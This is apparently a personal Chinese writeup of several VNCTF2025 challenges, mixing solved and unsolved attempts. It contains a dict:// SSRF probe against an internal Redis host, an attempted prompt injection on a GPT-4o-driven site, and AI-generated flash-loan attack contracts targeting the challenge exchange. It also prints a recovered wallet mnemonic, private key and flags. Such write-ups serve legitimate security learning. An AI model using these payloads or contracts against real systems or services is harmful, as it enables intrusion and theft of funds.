发布于 2025/02/09 阅读约 22 分钟 CTF

VNCTF2025 个人Writeup（垂死挣扎记录）

#CTF#VNCTF

NOTE

官方WP：http://ctf-files.bili33.top/VNCTF2025/VNCTF2025%20Official%20Writeup.pdf

[Reverse] Hook Fish

钓到的鱼怎么跑了？

下载下来一个apk文件，丢进jadx查看AndroidManifest.xml看到第一个Activity是com.example.hihitt.MainActivity

找到Activity看到里面有一些函数

    public void loadClass(String input0) {
        String input1 = encode(input0);
        File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
        DexClassLoader dLoader = new DexClassLoader(Uri.fromFile(dexFile).toString(), null, null, ClassLoader.getSystemClassLoader().getParent());
        try {
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method m = loadedClass.getMethod("check", String.class);
            boolean check = ((Boolean) m.invoke(obj, input1)).booleanValue();
            if (check) {
                Toast.makeText(this, "恭喜，鱼上钩了！", 0).show();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public String decode(String boy) {
        try {
            File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
            DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method decodeMethod = loadedClass.getMethod("decode", String.class);
            return (String) decodeMethod.invoke(obj, boy);
        } catch (Exception e) {
            e.printStackTrace();
            return "Error";
        }
    }

    public String encode(String girl) {
        try {
            File dexFile = new File(getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), "hook_fish.dex");
            DexClassLoader dLoader = new DexClassLoader(dexFile.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
            Class<?> loadedClass = dLoader.loadClass("fish.hook_fish");
            Object obj = loadedClass.newInstance();
            Method encodeMethod = loadedClass.getMethod("encode", String.class);
            return (String) encodeMethod.invoke(obj, girl);
        } catch (Exception e) {
            e.printStackTrace();
            return "Error";
        }
    }
}

去抓包，发现从http://47.121.211.23/hook_fish.dex下载了文件，本来想在系统里面截胡的但是没截到，直接访问下载了文件

用Ghidra打开，发现内部逻辑是一个自定义的字符编码方式（我叫做ji字符编码），然后可以拿到里面ji编码后的密文

jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji

解码过后是0qksrtuw0x74r2n3s2x3ooi4ps54r173k2os12r32pmqnu73r1h432n301twnq43prruo2h5，并没有什么意义，再去看看有没有漏掉的东西，在MainActivity里面还有这样的编码过程（注释是我加的）

    public static String encrypt(String str) {
        byte[] str1 = str.getBytes(); // 把字符串变成bytes
        for (int i = 0; i < str1.length; i++) {
            str1[i] = (byte) (str1[i] + 68); // 变成bytes之前每个字符ASCII加了68
        }
        StringBuilder hexStringBuilder = new StringBuilder();
        for (byte b : str1) {
            hexStringBuilder.append(String.format("%02x", Byte.valueOf(b))); // 把传入的str1变成hex
        }
        String str2 = hexStringBuilder.toString(); // 把hex变成字符串
        char[] str3 = str2.toCharArray(); // 把String转换为char[]数组
        code(str3, 0); // 进行自定义编码
        for (int i2 = 0; i2 < str3.length; i2++) {
            if (str3[i2] >= 'a' && str3[i2] <= 'f') { // 如果为 a ~ f
                str3[i2] = (char) ((str3[i2] - '1') + (i2 % 4)); // 字符与 '1' 相减，再加上 i2 % 4，i2是循环变量
            } else {
                str3[i2] = (char) (str3[i2] + '7' + (i2 % 10)); // 字符与 '7' 相加，再加上 i2 % 10，i2还是循环变量
            }
        }
        Log.d("encrypt: ", new String(str3));
        return new String(str3);
    }

    private static void code(char[] a, int index) {
        if (index >= a.length - 1) {
            return;
        }
        a[index] = (char) (a[index] ^ a[index + 1]); // 前后异或，设三个数字为a, b, c，此时 a 变成了 c（a ^ b = c）
        a[index + 1] = (char) (a[index] ^ a[index + 1]); // b ^ c = a，此时第二个字符为 a
        a[index] = (char) (a[index] ^ a[index + 1]); // c ^ a = b，此时达到了第一个字符和第二个字符对调的效果
        code(a, index + 2); // 前进两位，下一组
    }

于是组合起来，写个JIO本

class HookFish:
    def __init__(self):
        self.fish_ecode = {}
        self.fish_dcode = {}
        self.encode_map()

    def encode_map(self):
        encode_dict = {
            'a': "iiijj", 'b': "jjjii", 'c': "jijij", 'd': "jjijj", 'e': "jjjjj",
            'f': "ijjjj", 'g': "jjjji", 'h': "iijii", 'i': "ijiji", 'j': "iiiji",
            'k': "jjjij", 'l': "jijji", 'm': "ijiij", 'n': "iijji", 'o': "ijjij",
            'p': "jiiji", 'q': "ijijj", 'r': "jijii", 's': "iiiii", 't': "jjiij",
            'u': "ijjji", 'v': "jiiij", 'w': "iiiij", 'x': "iijij", 'y': "jjiji",
            'z': "jijjj", '1': "iijjl", '2': "iiilj", '3': "iliii", '4': "jiili",
            '5': "jilji", '6': "iliji", '7': "jjjlj", '8': "ijljj", '9': "iljji",
            '0': "jjjli"
        }
        for char, code in encode_dict.items():
            self.fish_ecode[char] = code
            self.fish_dcode[code] = char

    def decode(self, p1):
        decoded_str = []
        for i in range(0, len(p1), 5):
            encoded_char = p1[i:i+5]
            decoded_str.append(self.fish_dcode.get(encoded_char, '?'))
        return ''.join(decoded_str)

def decrypt(encrypted_str):
    def reverse_step4(chars):
        reversed_chars = []
        for i, c in enumerate(chars):
            current_ord = ord(c)
            # 逆向处理 a-f 的情况
            original_ord_case1 = (current_ord - (i % 4)) + ord('1')
            if 97 <= original_ord_case1 <= 102:
                reversed_chars.append(chr(original_ord_case1))
                continue
            # 逆向处理其他字符
            original_ord_case2 = current_ord - ord('7') - (i % 10)
            if 48 <= original_ord_case2 <= 57 or 97 <= original_ord_case2 <= 102:
                reversed_chars.append(chr(original_ord_case2))
            else:
                reversed_chars.append('?')  # 无效占位符
        return reversed_chars

    # 逆向第四步变换
    step3_chars = reverse_step4(list(encrypted_str))
    
    # 逆向 code 函数（交换相邻字符）
    for i in range(0, len(step3_chars)-1, 2):
        step3_chars[i], step3_chars[i+1] = step3_chars[i+1], step3_chars[i]
    
    # 转换十六进制字符串为字节
    try:
        hex_str = ''.join(step3_chars)
        encrypted_bytes = bytes.fromhex(hex_str)
    except ValueError:
        return "Invalid Hex"
    
    # 逆向字节偏移
    original_bytes = bytes([(b - 68) % 256 for b in encrypted_bytes])
    return original_bytes.decode('utf-8', errors='replace')

# 使用示例
hook_fish = HookFish()
encoded_string = "jjjliijijjjjjijiiiiijijiijjiijijjjiiiiijjjjliiijijjjjljjiilijijiiiiiljiijjiiliiiiiiiiiiiljiijijiliiiijjijijjijijijijiilijiijiiiiiijiljijiilijijiiiijjljjjljiliiijjjijiiiljijjijiiiiiiijjliiiljjijiiiliiiiiiljjiijiijiijijijjiijjiijjjijjjljiliiijijiiiijjliijiijiiliiliiiiiiljiijjiiliiijjjliiijjljjiijiiiijiijjiijijjjiiliiliiijiijijijiijijiiijjjiijjijiiiljiijiijilji"

raw_encrypted = hook_fish.decode(encoded_string)
print("Encrypted String:", raw_encrypted)

decrypted_flag = decrypt(raw_encrypted)
print("Decrypted Flag:", decrypted_flag)

最终得到flag为VNCTF{u_re4l1y_kn0w_H0Ok_my_f1Sh!1l}

[MISC] VN_Lang

我真是受够了往misc里塞异形文字了，所以我决定自创VN文字，你能读懂吗？

本题所给的附件中，main.rs为源代码，请下载exe文件进行解题，flag在exe中。

直接把exe丢进IDA，然后Shift + F12，查看字符串，发现flag

flag为VNCTF{ucxaOK2UO8rEXjuUXbwa5sBoZKxBxb6qhQ3HVoy30rzq5}

[Web] 学生姓名登记系统（未出）

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”，并且对用户的输入做了严格的限制，他自认为他的系统无懈可击，但是真的无懈可击吗？

确实并非无懈可击，但是我是没办法打

上来就说输入学生名字，输入完点击提交发现会显示刚刚输入的学生名字，猜测可能存在SSTI，测试了一下果不其然

输入	输出

然后我测试了一下，虽然可以分行提交，但是一旦存在某些关键词，则不会被当做模板运行，例如输入{%print(123)%}，会直接原样返回

这些关键词包括但不限于：%、lipsum，有些组合也不能够被正确识别，例如{{request.args.a}}，{{request.cookies.c}}这样的

此外，还有长度限制，经过测试，当单行输入长度>=24的时候，就会阻止，表现为弹出“谁家好人名字这么长？？”的提示

因为我实在是没找到方法来规避这个长度限制，所以只能作罢

[Web] 奶龙回家（未出）

小朋友们你们好呀，我是奶龙，请帮我找到username和password，获得胖猫留下的flag吧 //容易炸链接，可以多试几次

NOTE

~~我才是奶龙.jpg~~

给了登录框，可以输入用户名和密码，一开始就想到了爆破

然后我已经爆破了快两个小时，结果发了提示：本题考点是注入攻击，无需进行字典爆破操作

行吧，我后面再来看你（然后就忘了 =-=）

[Reverse] 抽奖转盘（未出）

主播主播，你的安卓逆向太吃操作了，有没有更简单容易上手的逆向题目哇？有的兄弟有的。

NOTE

真的上手吗（害怕

附件的格式.hap就告诉我们一切了，这题是鸿蒙的软件逆向，我在网上找不到什么资料，找到了一个工具abc-decompiler

Loading GitHub project...

把hap文件解压以后，将里面的.abc文件丢进去就可以反编译了……但这是啥啊！

好吧，现在的反编译工具确实不太成熟，怪不得人家。我手上也没有鸿蒙设备，也没有模拟器，真的在打黑盒一样

后面找到了模拟器，要求电脑开HyperV，我丢在了虚拟机上运行（但一直在转圈），考虑到我写这行字的时候已经是1:09了，我还是去睡觉吧，明天有N1CTF呢

模拟器：https://www.coolapk.com/feed/57785796?shareKey=ZTFmZTBiNTJiN2Y5NjcxOTBlZjQ~&shareUid=0

[MISC] Ekko（未出）

Ekko似乎找不到完美的时间线了。。。

题目地址:156.238.233.119:10001

faucet:156.238.233.119:10000

rpc:156.238.233.119:8545

一看就是以太坊智能合约的题目，但我没接触过，于是我去学了一下以太坊的合约

nc题目地址能够创建一个钱包，要求向指定地址转账0.001测试币才能下一步

PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 1
[+] deployer account: 0x6117596A833B37eEC24D83F2b9C741513542a1c1
[+] token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] please transfer more than 0.001 test ether to the deployer account for next step

首先第一步是要去水龙头接水（拿测试币），访问题目给的faucet地址，把钱包地址填进去就可以接到1ETH测试币了

接着要向别人转账，再次nc选择2，把token给它就可以部署合约了

PS C:\Users\GamerNoTitle> nc 156.238.233.119 10001
Help Ekko find the best timeline.馃槑馃槑馃槑
Trigger the isSolved() function to obtain the flag.

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code
[-] input your choice: 2
[-] input your token: v4.local.EYCF2NyWEjGP50HEnmDWq2sKlUNk7st51_QohF4zNKsWniY5F8zi3PzskjBmZFTwMdyQ8fOtKqzGUmLrrer5PMh9fFSf7iLlKgQmKOSa_pHvrj4lua2lTKPaZfkgG-b_Z7g5ac85Jkm9kpcxTfexOC2CVAOH_10xzOL2g3hOgRvu5A.RWtrb1RpbWVSZXdpbmQ
[+] contract address: 0xCDF40E3392f49Bc985B06A30269f75035C7001AE
[+] transaction hash: 0xded23a521c51c77838cc35e0c1019f1873e5db8ff6c8bf7bd3dd967c22a351c6

然后就是要完成合约，但是怎么完成？我不道啊！！

[MISC] aimind（未出）

基于大模型生成网站思维导图，不觉得很cool 吗

题目链接：http://39.100.72.235:8000/

本网站由gpt4o进行驱动，响应慢属于正常现象，靶场十分钟重启一次.

访问后告诉我们要输入url来生成思维导图

我一开始以为是基于网页中间件的提示词注入，所以我还写了这么一个文档

Loading GitHub project...

改来改去它还是不告诉我，想想算了，先做别的，后面题目给了提示

据说有个redis在内网
172.18.0.3

那意思很明确了，访问172.18.0.3:6379这个Redis获取信息，我就想到之前CCSSSC那次做过的dict执行Redis命令

测试了一下dict://172.18.0.3:6379/INFO，确实可以获取信息

于是想着能不能弹shell，但是后来发现用之前的payload会出不来（不生成思维导图且F12网络选项卡里面500），只好作罢

还是对Redis不熟的问题 =-=

[MISC] Echo Flowers（已复现）

英语不好的114也想要学习区块链，于是通过自己编写的地址生成器生成了一个0x114514开头的地址助记词（默认路径m/44’/60’/0’/0/0），并将助记词导入了首次搭载四曲柔边直屏，采用居中对称式的圆环镜头+金属质感小银边设计，并辅以拉丝工艺打造的金属质感中框，主打“超防水，超抗摔，超耐用”，号称“耐用战神”的OPPO A5 Pro上作为数字钱包。不幸的是，114忘记了这部手机上数字钱包的密码，同时丢失了助记词。你能帮助114找回他的数字钱包吗？

本题附件下载地址：百度网盘或 Google Drive

114使用的密码是强密码（在8-40字符之间，至少包含一个大写字母、一个小写字母、一个数字和一个特殊字符），因此暴力破解密码是不现实的。

附件是一个（通过Android-x86模拟的）手机镜像，建议使用VMWare虚拟机平台运行手机镜像，其它虚拟机平台可能会出现非预期的行为。

你应该从手机镜像中取证找回数字钱包。

附件中gift文件夹的内容不是解题所必需的。

FLAG格式：VNCTF{ETH地址0x114514d3CEc0bB872349a98e21526DbA041F08a9对应的私钥十六进制小写} . 例如，假设私钥是0xaabbcc，那么FLAG是VNCTF{aabbcc} .

赛中自己做

一开始我去找了手机的文件，想着能不能找到助记词或者私钥，但是找不到，题目又说英语不好、将助记词导入，于是我想着社会工程学，看看键盘的记录，结果就找到了这12个可能为助记词的单词

具体做法是：切换到英文键盘，开启单词匹配，然后按下首字母，以此选择排在前面的且看起来像是助记词的单词，我知道这很不靠谱但我确实是这么做的，还真的拿出来了12个，是助记词的经典数目

ramp ranch twenty you only space define fashion high laundry carpet muscle

因为助记词的顺序会影响钱包地址，于是写了个爆破脚本

import itertools
from mnemonic import Mnemonic
from eth_account import Account
from eth_utils.exceptions import ValidationError
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor, as_completed

# 启用HD钱包功能
Account.enable_unaudited_hdwallet_features()

# 给定的12个助记词
mnemonic_words = "ramp ranch twenty you only space define fashion high laundry carpet muscle".split()

# 目标地址
target_address = '0x114514d3CEc0bB872349a98e21526DbA041F08a9'

# 初始化助记词处理工具
mnemo = Mnemonic('english')

# 函数：生成钱包地址
def generate_address_from_mnemonic(mnemonic_words):
    try:
        mnemonic_phrase = ' '.join(mnemonic_words)
        # 验证助记词是否有效
        if not mnemo.check(mnemonic_phrase):
            return None
        seed = mnemo.to_seed(mnemonic_phrase, passphrase="")
        # 使用EthAccount生成钱包
        acct = Account.from_mnemonic(mnemonic_phrase)
        return acct.address.lower()
    except ValidationError:
        return None

# 处理每个排列组合
def process_permutation(perm):
    address = generate_address_from_mnemonic(perm)
    if address == target_address:
        return perm
    return None

# 使用线程池执行多线程任务
with ThreadPoolExecutor() as executor:
    # 创建tqdm进度条
    progress_bar = tqdm(itertools.permutations(mnemonic_words), desc="Testing permutations", total=12*11*10*9*8*7*6*5*4*3*2*1)
    
    # 提交任务并处理结果
    for perm in progress_bar:
        future = executor.submit(process_permutation, perm)
        result = future.result()
        progress_bar.update(1)
        if result:
            print(f"Found correct sequence: {result}")
            break
    else:
        print("No matching address found.")

然后就发现问题了：这样组合起来有479001600种组合，完全不够时间来爆破，而且这12个助记词不保证对，那没办法了，放在kaggle上面爆破然后我做别的去了

赛后复现

根据官方的wp，找搜狗输入法的方向是正确的，但是就像我上面说的，不确定性太大了

搜狗输入法的词库确实是按照我在比赛时看到的那样，保存在/data/data/com.sohu.inputmethod.sogouoem/files/dict里面，而我在winhex里面看到的跟我用string提取的一样

PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings *.bin
SGCM(
SGCP(
SGHW(
SGKC$
SGLB(
SGPA(
SGPF(
SGTG(
SGQG(
SGBU(
SGMU(
SGPU(
SGBG(
SGAU(
SGAB(
SLDA(
SGNU(

这样子看不出来任何东西，而官方wp加入了--encoding=b

Deepseek: --encoding=b 表示让 strings 工具以 16位大端（Big-Endian）编码 扫描二进制文件中的字符串。

PS F:\CTF\Workspace\VNCTF2025\Echo Flowers\dict> strings --encoding=b *
ranch
only
space
define
laundry
carpet
muscle
ramp
high
twenty
couch
fashion

就能够看到助记词，而且有确切的顺序，导入进去就有钱包了

所以flag为VNCTF{6433c196bb66b0d8ce3aa072d794822fd87edfbc3a30e2f2335a3fb437eb3cda}

找搜狗输入法的方向是对的，只不过不能在winhex里面查看词库要用strings提取

[MISC] Something for nothing（未出）

今天我们隆重推出VNB和WMB！嗯…好像交易所的实现有不太对的地方？

稍加利用也许能拿到怪东西？

做这题的时候我已经学了一点点（真的是一点点）的合约了，提示里面给到“三角套利”，但是理财不是我的强项

于是在Deepseek的帮助下，有了这样的攻击步骤

触发闪电贷：在attack函数中，通过调用flashLoan借入5000 USDT。
执行套利操作：在executeOperation回调函数中：
- USDT→VNB：在池0（USDT-VNB）中将借入的USDT兑换为VNB。
- VNB→WMB：在池1（VNB-WMB）中将获得的VNB兑换为WMB。
- WMB→USDT：在池2（USDT-WMB）中将获得的WMB兑换回USDT。
转移利润：计算利润并将USDT利润转至profitReceiver。
归还贷款：确保剩余的USDT足够偿还闪电贷，并授权DEX取回。

关键点：

手续费漏洞：DEX的getAmountOut函数错误地将amountIn乘以1000而非扣除手续费，导致无手续费交易，使得套利成为可能。
三角套利路径：利用三个流动性池的价格差异，通过三次交换实现无风险利润。
闪电贷机制：通过闪电贷借入大量资金放大利润，并在同一交易中完成所有操作，确保原子性。

于是它给了我下面的合约代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // 借入5000 USDT进行攻击
        uint256 loanAmount = 5000 ether;
        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }

    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Invalid token");

        // 授权DEX使用借入的USDT
        IIERC20(token0).approve(dex, amount);

        // 在池0中将USDT兑换为VNB
        ISimpleDEX(dex).swap(0, amount, true);

        // 在池1中将VNB兑换为WMB
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 在池2中将WMB兑换为USDT
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, false);

        // 将利润转给profitReceiver
        uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
        require(currentBalance >= amount, "无法偿还贷款");
        uint256 profit = currentBalance - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

        // 授权DEX取回贷款
        IIERC20(token0).approve(dex, amount);
    }
}

但问题是，我放到题目里面以后，它不跑啊……

我还是把各种AI给的合约放在这个下面吧

Deepseek R1

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external override {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // 借入5000 USDT进行攻击
        uint256 loanAmount = 5000 ether;
        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }

    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Invalid token");

        // 授权DEX使用借入的USDT
        IIERC20(token0).approve(dex, amount);

        // 在池0中将USDT兑换为VNB
        ISimpleDEX(dex).swap(0, amount, true);

        // 在池1中将VNB兑换为WMB
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 在池2中将WMB兑换为USDT
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, false);

        // 将利润转给profitReceiver
        uint256 currentBalance = IIERC20(token0).balanceOf(address(this));
        require(currentBalance >= amount, "无法偿还贷款");
        uint256 profit = currentBalance - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

        // 授权DEX取回贷款
        IIERC20(token0).approve(dex, amount);
    }
}

Gemini 2.0 Pro 02-05

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack {
    address public token0;
    address public token1;
    address public token2;
    address public dex;
    address public profitReceiver;
    uint256 public loanAmount;

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
        external
    {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;
        loanAmount = IIERC20(token0).balanceOf(dex); // Get the maximum loanable amount

        ISimpleDEX(dex).flashLoan(loanAmount, token0);
    }
    function executeOperation(uint256 amount, address token) external{
        require(msg.sender == dex, "Unauthorized");
        require(token == token0, "Wrong token");
        require(amount == loanAmount, "Wrong Amount");

        IIERC20(token0).approve(dex, loanAmount);
        // 1. Swap USDT for VNB (ammIndex 0)
        ISimpleDEX(dex).swap(0, amount, true);

        // 2. Swap VNB for WMB (ammIndex 1)
        uint256 vnbBalance = IIERC20(token1).balanceOf(address(this));
        IIERC20(token1).approve(dex, vnbBalance);
        ISimpleDEX(dex).swap(1, vnbBalance, true);

        // 3. Swap WMB for USDT (ammIndex 2)
        uint256 wmbBalance = IIERC20(token2).balanceOf(address(this));
        IIERC20(token2).approve(dex, wmbBalance);
        ISimpleDEX(dex).swap(2, wmbBalance, true);

        // Transfer profit to profitReceiver
        uint256 profit = IIERC20(token0).balanceOf(address(this)) - amount;
        IIERC20(token0).transfer(profitReceiver, profit);

    }
}

ChatGPT 4o

// Attack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IIERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface ISimpleDEX {
    function flashLoan(uint256 amount, address token) external;
    function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external;
    function getPrice(uint256 ammIndex) external view returns (uint256);
    function addLiquidity(uint256 ammIndex, uint256 amount0, uint256 amount1) external;
    function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external;
}

interface IAttack {
    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver) external;
}

contract AttackContract is IAttack { 
    address token0;
    address token1;
    address token2;
    address dex;
    address profitReceiver;

    uint256 flashLoanAmount = 1000 ether; // Flash loan amount (adjustable)

    function attack(address _token0, address _token1, address _token2, address _dex, address _profitReceiver)
        external
    {
        token0 = _token0;
        token1 = _token1;
        token2 = _token2;
        dex = _dex;
        profitReceiver = _profitReceiver;

        // Step 1: Flash loan from SimpleDEX (borrow USDT)
        ISimpleDEX(dex).flashLoan(flashLoanAmount, token0); // Borrow 1000 USDT
    }

    // This function is called by the SimpleDEX during flash loan callback
    function executeOperation(uint256 amount, address token) external {
        require(msg.sender == dex, "Unauthorized");

        // Step 2: Perform triangular arbitrage
        // 1. Swap USDT (token0) to VNB (token1)
        uint256 price0 = ISimpleDEX(dex).getPrice(0); // Get price of USDT -> VNB
        uint256 amountOut1 = (flashLoanAmount * price0) / 1e18; // Amount of VNB received
        ISimpleDEX(dex).swap(0, flashLoanAmount, true); // Swap USDT to VNB

        // 2. Swap VNB (token1) to WMB (token2)
        uint256 price1 = ISimpleDEX(dex).getPrice(1); // Get price of VNB -> WMB
        uint256 amountOut2 = (amountOut1 * price1) / 1e18; // Amount of WMB received
        ISimpleDEX(dex).swap(1, amountOut1, true); // Swap VNB to WMB

        // 3. Swap WMB (token2) to USDT (token0)
        uint256 price2 = ISimpleDEX(dex).getPrice(2); // Get price of WMB -> USDT
        uint256 amountOut3 = (amountOut2 * price2) / 1e18; // Amount of USDT received
        ISimpleDEX(dex).swap(2, amountOut2, false); // Swap WMB to USDT

        // Step 3: Repay the flash loan
        require(IIERC20(token).balanceOf(address(this)) >= amount, "Insufficient funds to repay loan");
        IIERC20(token).transfer(msg.sender, amount); // Repay the flash loan

        // Step 4: Check if profit was made
        uint256 profit = IIERC20(token).balanceOf(profitReceiver);
        require(profit > flashLoanAmount, "No profit made"); // Ensure profit was made
    }
}

[PWN] FileSys（未出）

You only have one chance to edit

题目给了一个bzImage、一个rootfs.cpio、一个boot.sh，用qemu启动试试

qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "root=/dev/ram console=ttyS0" \
    -nographic \
    -m 512M

启动确实是成功了，但我不知道要干嘛啊 =-= 题目说要edit我也不知道改啥

反倒是在用winhex翻文件的时候，在根目录有flag.txt写着VNCTF{inkey}

[MISC] ezSignal（未出）

你也热爱信号吗？

本题附件下载地址：下载链接

题目给了一个压缩包，解压出来一张图，binwalk出来另一个压缩包，里面是flag.txt（180+ MB），里面看不懂啊~

图片的描述里面，照相机序列号有key：VN2025CTF（下图是旧附件flag.txt）

后面说这题有问题，附件更新了，新附件337MB（之前那个才几MB），新附件把flag分成两部分了

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 500 x 500, 8-bit/color RGB, non-interlaced
91            0x5B            Zlib compressed data, compressed
6026          0x178A          Zip archive data, at least v2.0 to extract, compressed size: 176354316, uncompressed size: 194462208, name: flag1.txt
176360381     0xA830BBD       Zip archive data, at least v2.0 to extract, compressed size: 177965008, uncompressed size: 194462208, name: flag2.txt
354325610     0x151E946A      End of Zip archive, footer length: 22

题目给了提示

请仔细研究题目附件压缩包的文件结构
GRC流程图是窄带FM调制+XOR

然而还是做不出来

Comments

留下你的见解与看法吧🎉